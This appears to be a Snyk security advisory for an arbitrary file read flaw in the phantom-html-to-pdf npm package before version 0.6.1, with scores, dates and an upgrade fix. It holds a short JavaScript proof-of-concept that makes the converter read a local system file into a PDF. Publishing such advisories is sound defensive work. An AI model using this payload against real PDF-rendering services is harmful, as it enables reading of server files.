Arbitrary File Read Affecting phantom-html-to-pdf package, versions <0.6.1


0.0
high

Snyk CVSS

    Attack Complexity Low
    Confidentiality High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.26% (65th percentile)
Expand this section
NVD
7.5 high

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-PHANTOMHTMLTOPDF-1023598
  • published 5 Nov 2020
  • disclosed 29 Oct 2020
  • credit Anand Namana

How to fix?

Upgrade phantom-html-to-pdf to version 0.6.1 or higher.

Overview

phantom-html-to-pdf is a Convert html to pdf using phantomjs

Affected versions of this package are vulnerable to Arbitrary File Read.

PoC

var fs = require('fs')
var conversion = require("phantom-html-to-pdf")();
conversion.allowLocalFilesAccess = false
conversion({ html: "document.write(window.location='c:/windows/win.ini')" }, function(err, pdf) {
var output = fs.createWriteStream('output.pdf')
console.log(pdf.logs);
console.log(pdf.numberOfPages);
pdf.stream.pipe(output);
});

References